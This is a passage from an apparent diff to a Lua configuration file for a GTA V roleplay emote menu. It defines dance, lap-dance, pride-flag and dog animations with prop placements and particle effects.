"mini@strip_club@private_dance@idle", + "priv_dance_idle", + "Lapdance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdance3"] = { + "mini@strip_club@private_dance@part1", + "priv_dance_p1", + "Lapdance 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdance4"] = { + "mini@strip_club@private_dance@part2", + "priv_dance_p2", + "Lapdance 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdance5"] = { + "mini@strip_club@private_dance@part3", + "priv_dance_p3", + "Lapdance 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdance6"] = { + "oddjobs@assassinate@multi@yachttarget@lapdance", + "yacht_ld_f", + "Lapdance 6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdancewith"] = { + "mini@strip_club@lap_dance_2g@ld_2g_p3", + "ld_2g_p3_s2", + "Lapdance With", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdancewith2"] = { + "mini@strip_club@lap_dance_2g@ld_2g_p2", + "ld_2g_p2_s2", + "Lapdance With2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapdancewith3"] = { + "mini@strip_club@lap_dance_2g@ld_2g_p1", + "ld_2g_p1_s2", + "Lapdance With3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapchair"] = { + "mini@strip_club@lap_dance@ld_girl_a_song_a_p1", + "ld_girl_a_song_a_p1_f", + "Lap Chair", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapchair2"] = { + "mini@strip_club@lap_dance@ld_girl_a_song_a_p2", + "ld_girl_a_song_a_p2_f", + "Lap Chair2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lapchair3"] = { + "mini@strip_club@lap_dance@ld_girl_a_song_a_p3", + "ld_girl_a_song_a_p3_f", + "Lap Chair3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["salsa"] = { + "anim@mp_player_intuppersalsa_roll", + "idle_a", + "Salso Roll", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancecrankdat"] = { + "anim@amb@nightclub@mini@dance@dance_solo@shuffle@", + "high_right_up", + "Dance Crank Dat", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancecrankdat2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@shuffle@", + "high_right_down", + "Dance Crank Dat 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancemonkey"] = { + "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@", + "high_center", + "Monkey Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancemonkey2"] = { + "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@", + "high_center_down", + "Monkey Dance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancemonkey3"] = { + "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@", + "med_center_down", + "Monkey Dance 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["boxdance"] = { + "anim@amb@nightclub@mini@dance@dance_solo@beach_boxing@", + "med_right_down", + "Boxing Dance Solo", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancehiphop"] = { + "anim@amb@nightclub@mini@dance@dance_paired@dance_d@", + "ped_a_dance_idle", + "Hip Hop Dance", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancehiphop2"] = { + "anim@amb@nightclub@mini@dance@dance_paired@dance_b@", + "ped_a_dance_idle", + "Hip Hop Dance 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancehiphop3"] = { + "anim@amb@nightclub@mini@dance@dance_paired@dance_a@", + "ped_a_dance_idle", + "Hip Hop Dance 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["dancedrill"] = { + "sdrill@animation", + "sdrill_clip", + "Drill Dance", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancepride"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride A", + AnimationOptions = { + Prop = 'lilprideflag1', --- Rainbow + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag1', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["danceprideb"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride B - LGBTQIA", + AnimationOptions = { + Prop = 'lilprideflag2', -- LGBTQIA + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag2', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancepridea"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride A - Bisexual", + AnimationOptions = { + Prop = 'lilprideflag3', -- Bisexual + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag3', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancepridec"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride C - Lesbian", + AnimationOptions = { + Prop = 'lilprideflag4', -- Lesbian + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag4', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["danceprided"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride D - Pansexual", + AnimationOptions = { + Prop = 'lilprideflag5', -- Pansexual + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag5', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancepridee"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride E - Transgender", + AnimationOptions = { + Prop = 'lilprideflag6', -- Transgender + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag6', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["dancepridef"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride F - Non Binary", + AnimationOptions = { + Prop = 'lilprideflag7', -- Lesbian + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag7', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["danceprideg"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride G - Asexual", + AnimationOptions = { + Prop = 'lilprideflag8', -- Asexual + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag8', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["danceprideh"] = { + "anim@amb@nightclub@lazlow@hi_railing@", + "ambclub_09_mi_hi_bellydancer_laz", + "Dance Pride H - Straight Ally", + AnimationOptions = { + Prop = 'lilprideflag9', -- Straight Ally + PropBone = 18905, + PropPlacement = { + 0.0900, + 0.0000, + 0.0300, + -39.911, + 93.9166, + -5.8062 + }, + SecondProp = 'lilprideflag9', + SecondPropBone = 57005, + SecondPropPlacement = { + 0.0900, + -0.0200, + -0.0300, + -90.2454, + 5.7068, + -28.7797 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, +} + + +---- ANIMAL EMOTES ---- +---- BIG DOG ---- + +RP.AnimalEmotes = { + ["bdogbark"] = { + "creatures@rottweiler@amb@world_dog_barking@idle_a", + "idle_a", + "Bark (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogindicateahead"] = { + "creatures@rottweiler@indication@", + "indicate_ahead", + "Indicate Ahead (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogindicatehigh"] = { + "creatures@rottweiler@indication@", + "indicate_high", + "Indicate High (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogindicatelow"] = { + "creatures@rottweiler@indication@", + "indicate_low", + "Indicate Low (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogbeg"] = { + "creatures@rottweiler@tricks@", + "beg_loop", + "Beg (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogbeg2"] = { + "creatures@rottweiler@tricks@", + "paw_right_loop", + "Beg 2 (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdoglayright"] = { + "creatures@rottweiler@move", + "dead_right", + "Lay Right (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdoglayleft"] = { + "creatures@rottweiler@move", + "dead_left", + "Lay Left (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogsitcar"] = { + "creatures@rottweiler@incar@", + "sit", + "Sit in car (big dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["bdogfhump"] = { + "creatures@rottweiler@amb@", + "hump_loop_ladydog", + "Female Hump (big dog)", + AnimationOptions = { + EmoteLoop = true + }, + AdultAnimation = true, + AnimalEmote = true + }, + ["bdogmhump"] = { + "creatures@rottweiler@amb@", + "hump_loop_chop", + "Male Hump (big dog)", + AnimationOptions = { + EmoteLoop = true + }, + AdultAnimation = true, + AnimalEmote = true + }, + ["bdogshit"] = { + "creatures@rottweiler@move", + "dump_loop", + "Shit (big dog)", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_poo", + PtfxNoProp = true, + PtfxPlacement = { + 0.10, + -0.08, + 0.0, + 0.0, + 90.0, + 180.0, + 1.0 + }, + PtfxInfo = Translate('poop'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["bdogitch"] = { + "creatures@rottweiler@amb@world_dog_sitting@idle_a", + "idle_a", + "Itch (big dog)", + AnimationOptions = { + EmoteDuration = 2000 + } + }, + ["bdogsleep"] = { + "creatures@rottweiler@amb@sleep_in_kennel@", + "sleep_in_kennel", + "Sleep (big dog)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "bdogupk", + ExitEmoteType = "Exits" + } + }, + ["bdogsit"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit (big dog)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpee"] = { + "creatures@rottweiler@move", + "pee_left_idle", + "Pee (big dog)", + AnimationOptions = { + EmoteLoop = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + -0.15, + -0.35, + 0.0, + 0.0, + 90.0, + 180.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["bdogpee2"] = { + "creatures@rottweiler@move", + "pee_right_idle", + "Pee 2 (big dog)", + AnimationOptions = { + EmoteLoop = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + 0.15, + -0.35, + 0.0, + 0.0, + 90.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["bdogglowa"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "nill", + "Glow Stick (big dog)", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 31086, + PropPlacement = { + 0.2000, + 0.000, + -0.0600, + 90.00, + 0.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bdogglowb"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Glow Stick Sitting (big dog)", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 31086, + PropPlacement = { + 0.2000, + 0.000, + -0.0600, + 90.00, + 0.00, + 0.00 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpridea"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride A (big dog)", + AnimationOptions = { + Prop = 'lilprideflag1', -- Rainbow + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag1', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogprideb"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride B - LGBTQIA (big dog)", + AnimationOptions = { + Prop = 'lilprideflag2', -- LGBTQIA + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag2', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpridec"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride C - Bisexual (big dog)", + AnimationOptions = { + Prop = 'lilprideflag3', -- Bisexual + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag3', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogprided"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride D - Lesbian (big dog)", + AnimationOptions = { + Prop = 'lilprideflag4', -- Lesbian + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag4', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpridee"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride E - Pansexual (big dog)", + AnimationOptions = { + Prop = 'lilprideflag5', -- Pansexual + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag5', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpridef"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride F - Transgender (big dog)", + AnimationOptions = { + Prop = 'lilprideflag6', -- Transgender + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag6', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogprideg"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride G - Non Binary (big dog)", + AnimationOptions = { + Prop = 'lilprideflag7', -- Non Binary + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag7', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogprideh"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride H - Asexual (big dog)", + AnimationOptions = { + Prop = 'lilprideflag8', -- Asexual + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag8', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogpridei"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "base", + "Sit Pride I - Straight Ally (big dog)", + AnimationOptions = { + Prop = 'lilprideflag9', -- Straight Ally + PropBone = 31086, + PropPlacement = { + 0.1900, + 0.0000, + -0.0500, + 100.0000, + 90.0000, + 0.0000 + }, + SecondProp = 'lilprideflag9', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.1940, + 0.020, + -0.0500, + -90.0000, + -90.0000, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "bdogup", + ExitEmoteType = "Exits" + } + }, + ["bdogfw"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "nill", + "Firework - Big Dog", + AnimationOptions = { + Prop = 'ind_prop_firework_01', --- blue, green, red, purple pink, cyan, yellow, white + PtfxColor = {{R = 255, G = 0, B = 0, A = 1.0}, {R = 0, G = 255, B = 0, A = 1.0}, {R = 0, G = 0, B = 255, A = 1.0}, {R = 177, G = 5, B = 245, A = 1.0}, {R = 251, G = 3, B = 255, A = 1.0}, {R = 2, G = 238, B = 250, A = 1.0}, {R = 252, G = 248, B = 0, A = 1.0}, {R = 245, G = 245, B = 245, A = 1.0}}, + PropBone = 31086, + PropPlacement = { + 0.1400, + 0.3300, + -0.0800, + -85.6060, + -176.7400, + -9.8767 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_indep_fireworks", + PtfxName = "scr_indep_firework_trail_spawn", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.6 + }, + PtfxInfo = Translate('firework'), + PtfxWait = 200 + } + }, + ["bdogfris"] = { + "creatures@rottweiler@amb@world_dog_sitting@base", + "nill", + "Frisbee (big dog)", + AnimationOptions = { + Prop = 'p_ld_frisbee_01', + PropBone = 31086, + PropPlacement = { + 0.2600, + 0.0200, + -0.0600, + -173.7526, + -169.4149, + 21.4173 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + + ---- ANIMAL EMOTES ---- + ---- SMALL DOG ---- + + ["sdogbark"] = { + "creatures@pug@amb@world_dog_barking@idle_a", + "idle_a", + "Bark (small dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["sdogitch"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_a", + "Itch (small dog)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogsit"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Sit (small dog)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogld"] = { + "misssnowie@little_doggy_lying_down", + "base", + "Lay Down (small dog)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogshake"] = { + "creatures@pug@amb@world_dog_barking@idle_a", + "idle_c", + "Shake (small dog)", + AnimationOptions = { + EmoteLoop = true + } + }, + ["sdogdance"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance (small dog)", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdance2"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance 2 (small dog)", + AnimationOptions = { + Prop = 'ba_prop_battle_glowstick_01', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdancepridea"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride A (small dog)", + AnimationOptions = { + Prop = 'lilprideflag1', + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdanceprideb"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride B - LGBTQIA (small dog)", + AnimationOptions = { + Prop = 'lilprideflag2', -- LGBTQIA + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdancepridec"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride C - Bisexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag3', -- Bisexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdanceprided"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride D - Lesbian (small dog)", + AnimationOptions = { + Prop = 'lilprideflag4', -- Lesbian + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdancepridee"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride E - Pansexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag5', -- Pansexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdancepridef"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride F - Transgender (small dog)", + AnimationOptions = { + Prop = 'lilprideflag6', -- Transgender + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdanceprideg"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride G - Non Binary (small dog)", + AnimationOptions = { + Prop = 'lilprideflag7', -- Non Binary + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdanceprideh"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride H - Asexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag8', -- Asexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdancepridei"] = { + "creatures@pug@move", + "idle_turn_0", + "Dance Pride I - Straight Ally (small dog)", + AnimationOptions = { + Prop = 'lilprideflag9', -- Straight Ally + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + SecondProp = 'prop_cs_sol_glasses', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogbb"] = { + "creatures@pug@move", + "nill", + "Baseball (small dog)", + AnimationOptions = { + Prop = 'w_am_baseball', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0500, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogburger"] = { + "creatures@pug@move", + "nill", + "Burger (small dog)", + AnimationOptions = { + Prop = 'prop_cs_burger_01', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0400, + 0.0000, + -90.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogcontroller"] = { + "creatures@pug@move", + "nill", + "Controller (small dog)", + AnimationOptions = { + Prop = 'prop_controller_01', + PropBone = 31086, + PropPlacement = { + 0.1800, + -0.0300, + 0.0000, + -180.000, + 90.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdolla"] = { + "creatures@pug@move", + "nill", + "Dollar Bill (small dog)", + AnimationOptions = { + Prop = 'p_banknote_onedollar_s', + PropBone = 31086, + PropPlacement = { + 0.1700, + -0.0100, + 0.0000, + 90.0000, + 0.0000, + 0.000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdolla2"] = { + "creatures@pug@move", + "nill", + "Dollar Bill Scrunched (small dog)", + AnimationOptions = { + Prop = 'bkr_prop_scrunched_moneypage', + PropBone = 31086, + PropPlacement = { + 0.1700, + 0.000, + 0.0000, + 90.0000, + 00.0000, + 00.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdolla3"] = { + "creatures@pug@move", + "nill", + "Money Stack (small dog)", + AnimationOptions = { + Prop = 'bkr_prop_money_wrapped_01', + PropBone = 31086, + PropPlacement = { + 0.1700, + -0.0100, + 0.0000, + 90.0000, + 0.0000, + 0.000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogdolla4"] = { + "creatures@pug@move", + "nill", + "Money Bag (small dog)", + AnimationOptions = { + Prop = 'ch_prop_ch_moneybag_01a', + PropBone = 31086, + PropPlacement = { + 0.1200, + -0.2000, + 0.0000, + -79.9999997, + 90.00, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogmic"] = { + "creatures@pug@move", + "nill", + "Microphone (small dog)", + AnimationOptions = { + Prop = 'p_ing_microphonel_01', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0170, + 0.0300, + 0.000, + 0.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogteddy"] = { + "creatures@pug@move", + "nill", + "Teddy (small dog)", + AnimationOptions = { + Prop = 'v_ilev_mr_rasberryclean', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.1100, + -0.23, + 0.000, + 0.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogteddy2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Teddy 2 (small dog)", + AnimationOptions = { + Prop = 'v_ilev_mr_rasberryclean', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.1100, + -0.23, + 0.000, + 0.0000, + 0.0000 